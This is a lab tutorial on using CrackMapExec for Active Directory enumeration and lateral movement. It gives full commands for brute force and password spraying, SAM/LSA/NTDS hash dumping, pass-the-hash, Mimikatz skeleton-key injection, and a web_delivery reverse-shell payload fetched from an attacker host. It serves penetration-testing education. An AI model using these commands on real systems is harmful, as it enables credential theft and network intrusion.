Lateral Moment on Active Directory: CrackMapExec

In this article, we learn to use crackmapexec. This tool is developed by byt3bl33d3r. I have used this tool many times for both offensive and defensive techniques. And with my experience from this tool, I can say that the tool is so amazing that one can use it for situational awareness as well as lateral movement. You can download the tool from here.

Table of Content

·         Introduction to Crackmapexec

·         Crackmapexec and Red Team

·         Configurations Used for Practical

·         Installation

·         Enumeration

o   Discovering IPs

o   users

o   groups

o   txt files

o   log files

o   share

o   sessions

o   password policies

o   Drives

·         Bruteforce

·         Dictionary Attack

·         Credential Dumping

o   SAM

o   LSA

o   NTDS

·         Pass the Hash

·         Password spraying

·         Remote Command Execution

o   wmiexec

o    atexec

·         Modules

o   mimikatz

o   wdigest

o   enum_dns

o   Web delivery

Introduction to Crackmapexec

Crackmapexec, also known as CME, is a post-exploitation tool. The developer of the tool describes it as a "swiss army knife for pen-testing networks", which I find is an apt description. The tool is developed in python and lets us move laterally in an environment while being situationally aware. It abuses the Active Directory security by gathering all the information from IP addresses to harvesting the credentials from SAM. And this is the only information we need for our lateral movement. It also offers us numerous modules such as mimikatz, web delivery, wdigest, etc. to make dumping of credentials and getting a session easy. Hence, making an attacker all-powerful by letting them living off the Land.

Configurations Used for Practical

·         Target: Windows Server 2016

·         Attacker: Kali Linux 2020.1

Here, in our lab scenario, we have configured the following settings on our systems.

Windows Server Details

·         Domain: ignite.local

·         User: Administrator

·         Password: Ignite@987

·         IP Address: 192.168.1.105

Windows Client Details

·         OS: Windows 10

·         IP Address: 192.168.1.106

·         Users: kavish, geet, aarti, yashika

·         Password: Password@1

Installation

The installation for this tool is most simple as for installation just use the following command:

apt install crackmapexec

Note: if the above command gives any issue then we recommend you to perform an apt update and upgrade on your Kali.

Enumeration: Discovering IPs

To discover the IPs on the target network, use the following command:

crackmapexec smb 192.168.1.0/24

And as shown in the image above, you will have the list of the IPs.

In a general sense, the syntax for crackmapexec is:

crackmapexec -u ‘‘ -p ‘‘

Which will bring out the command to be:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’

Enumeration: Users

To find out all the lists of the users in your target system, we will use the ‘—user’ parameter. Hence, the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --users

As shown in the above image, the execution of the above command will show the users of the target system.

Enumeration: Groups

To get the details of the groups from the target system, use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --groups

Enumeration: Text files

To get all the information of the text files in the target system, such as path, use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --spider C\$ --pattern txt

Enumeration: Log Files

Similarly, to retrieve the information of log files from the target system, use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --spider C\$ --pattern log

This way you can access the information on any file extension such as exe, etc.

Enumeration: Shares

To know what folders are shared among the network and what permissions they have, we can use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --shares

As shown in the image above, we will have all the information for share folders in the network.

Enumeration: Sessions

The active sessions details can be found from the command given below:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --sessions

Enumeration: Password Policies

To know the password policies that have been applied in the target system, CME provides us with the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --pass-pol

Executing the above command will give us the details of the password policies as shown in the image above.

Enumeration: Drives

To find out how many drives are there in the target system, with what name; we can use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --disks

Bruteforce: Username

With crackmapexec, you can also brute force the username that will match our correct password. We will be doing this on the whole network, that is why we will specify the IP range instead of just giving IP. We will do this, with the following command:

crackmapexec smb 192.168.1.0/24 -u “kavish” “Administrator” -p “Ignite@987”

Bruteforce: Password

With CME, we can brute-force passwords on a single target system or the whole network. In our practice, we have a brute-forced password on the whole network. To do the said, type:

crackmapexec smb 192.168.1.0/24 -u "Administrator" -p "password1" "password2" "Ignite@987"

Dictionary Attack

CME also enable us to do dictionary on both username and password. Both custom or already made dictionaries can be given for the attack. In our practical, we have given a custom-made dictionary for both usernames and passwords. This attack can be done on the whole network or a single IP. We are doing this attack on the whole network as we are giving a whole IP range. To initiate the attack, use the following command:

crackmapexec smb 192.168.1.0/24 -u /root/Desktop/user.txt -p /root/Desktop/pass.txt

Credential Dumping: SAM

SAM is short for the Security Account Manager which manages all the user accounts and their passwords. It acts as a database. All the passwords are hashed and then stored SAM. Using CME, we will dump the credentials from SAM in the form of hashes by using the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --sam

Credential Dumping: LSA

The Local Security Authority (LSA) is a protected system process that authenticates and logs users on to the local computer. Domain credentials are used by the operating system and authenticated by the Local Security Authority (LSA). Therefore, LSA has access to the credentials and we will exploit this fact to harvest the credentials with CME by using the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --lsa

Credential Dumping: NTDS (DRSUAPI)

NTDS stands for New Technologies Directory Services and DIT stands for Directory Information Tree. This file acts as a database for Active Directory and stores all its data including all the credentials. And so we will manipulate this file to dump the hashes by using the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --ntds drsuapi

Another way to retrieve credentials from NTDS is through VSS i.e. the volume shadow copy. And for this method, use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --ntds vss

Pass the Hash

Once we have dumped hashes, we don’t need to use any other tool to pass the hash. With CME we need to use the following command:

crackmapexec smb 192.168.1.105 -u Administrator -H 32196B56FFE6F45E294117B91A83BF38

Password Spraying

Password Spraying is an attack where we get hold of accounts by using the same passwords for the same numerous usernames until we find a correct one. With CME, we can perform password spraying with two methods.  In the first method, we will use the parameter ‘--rid-brute’. To use this parameter, the syntax will be:

crackmapexec -u -p ‘‘ --rid-brute

Going by the above syntax, the command is:

crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p ‘Password@1’ --rid-brute

Another method for password spraying is by using the ‘--continue-on-success’ and we will use this parameter with our custom-made dictionary that has all the usernames. The contents of the dictionary are shown in the image below using the cat command. And then for password spraying, use the following command:

crackmapexec smb 192.168.1.106 -u /root/Desktop/user.txt -p ‘Password@1’ --continue-on-success

Remote Command Execution

Now that we have studied various ways to obtain the password, let now make use of it as CME allows us to remotely execute commands. We can use the quser command to get information about the users. And logoff command to log off the target system. The syntax for executing commands remotely is:

crackmapexec -u ‘‘ -p ‘‘ -x ‘‘

following the above syntax, our commands will be:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -x ‘quser’

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -x ‘logoff 2’

And as you can see in the image above, our commands are successfully executed and we have the information.

Remote Command Execution: atexec

This command will execute the command with the help of the Task Scheduler service. For this, use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -x ‘net user Administrator /domain’ --exec-method atexec

And as you can see in the image above, our commands are successfully executed and we have the information.

Remote Command Execution: wmiexec

This command will execute the command with the help of the Windows Management Instrumentation (WMI) service. For this, use the following command:

And as you can see in the image above, our commands are successfully executed and we have the information.

We can also make the use of the PowerShell Cmdlets to execute tasks over the Remote using CME. This is possible due to the ability to execute commands remotely via WMI. For this use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -X ‘$PSVersionTable’ --exec-method wmiexec

And as you can see in the image above, our PowerShell Cmdlet is executed successfully and we have the information.

Talking about WMI, we can also directly run the WMI command on the target using CME. The parameter ‘--wmi’ is designed for this purpose. We can provide it with the command string of WMI and it will execute it as shown in the image given below.

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ --wmi “select Name from Win32_UserAccount”

And as we can see that we have a list of users on the target system which we extracted with the help of wmi command strings.

Modules

If from the above options you are not tempted to add CME in your tool kit, I bet the following will have you convinced in no time. CME also provides us with various modules which call upon the third-party tools like Mimikatz, Metasploit Framework, etc. to get the work done. To view all the modules that CME has to offer, use the following command:

crackmapexec smb -L

Just as shown in the image above, all the modules will be displayed after running the above command successfully. Now let’s take a few of the modules from this and see how we can use them.

Modules: mimikatz

First, we will run Mimikatz directly as a module without giving it any other argument. The syntax for this is as following:

crackmapexec -u -p ‘ -M

Which will further make our command out to be as follows:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -M mimikatz

So now, as you can see in the image above, running the mimikatz module without any other argument will give the system credentials in the form of hashes.

Now let’s try and give a mimikatz command as an argument, for doing so the command will be:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -M mimikatz -o COMMAND=‘privilege::debug’

And so, the command will debug all the privileges as shown in the image above. Now let’s try to run another command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -M mimikatz -o COMMAND=‘sekurlsa::logonPasswords’

Hence, running the above command will display all the hashes of the logon password. This way, you can also give further argument such as the argument to inject skeleton key with the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -M mimikatz -o COMMAND=‘misc::skeleton’

And as you can see that the above command has been executed successfully.

Module: Wdigest

Another module that CME presents us is wdigest. This module will create a registry key due to which passwords are stored in memory. To use this module, type the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -M wdigest -o ACTION=enable

And as you can see in the image above, the registry key is created.

Module: enum_dns

This module harvests all the information about the target DNS and displays it on the console. To use this module, use the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -M enum_dns

And as you can see in the image above all the information is dumped on the console.

Module: web_delivery

To this module, first open Metasploit Framework using the command ‘msfconsole’ and then type the following set of commands to initiate web_delivery:

use exploit/multi/script/web_delivery

set target 2

set payload windows/meterpreter/reverse_tcp

set lhost

set srvhost

exploit

It will create a link as it is shown in the image above. Copy that link and remotely execute it in the target machine through CME using the following command:

crackmapexec smb 192.168.1.105 -u ‘Administrator’ -p ‘Ignite@987’ -M web_delivery -o URL=http://192.168.1.112:8080/rlNdPdZQMeYWLF

And once the above command is executed successfully, you will have the meterpreter session as shown in the following image:

Conclusion

Enumeration is an intense task in any Penetration Testing as well as Red Team Assessment. But we saw that with the help of Crackmapexec or CME it seems quite easier and faster. Lateral Movement can take a huge amount of time if not done properly in an environment. But CME provides us this functionality in just a single execution that any script kiddie can manipulate and perform. Overall this proves that CME is an important tool for Enumeration, Remote Command Execution, Lateral Movement and it should be in every pentester’s arsenal.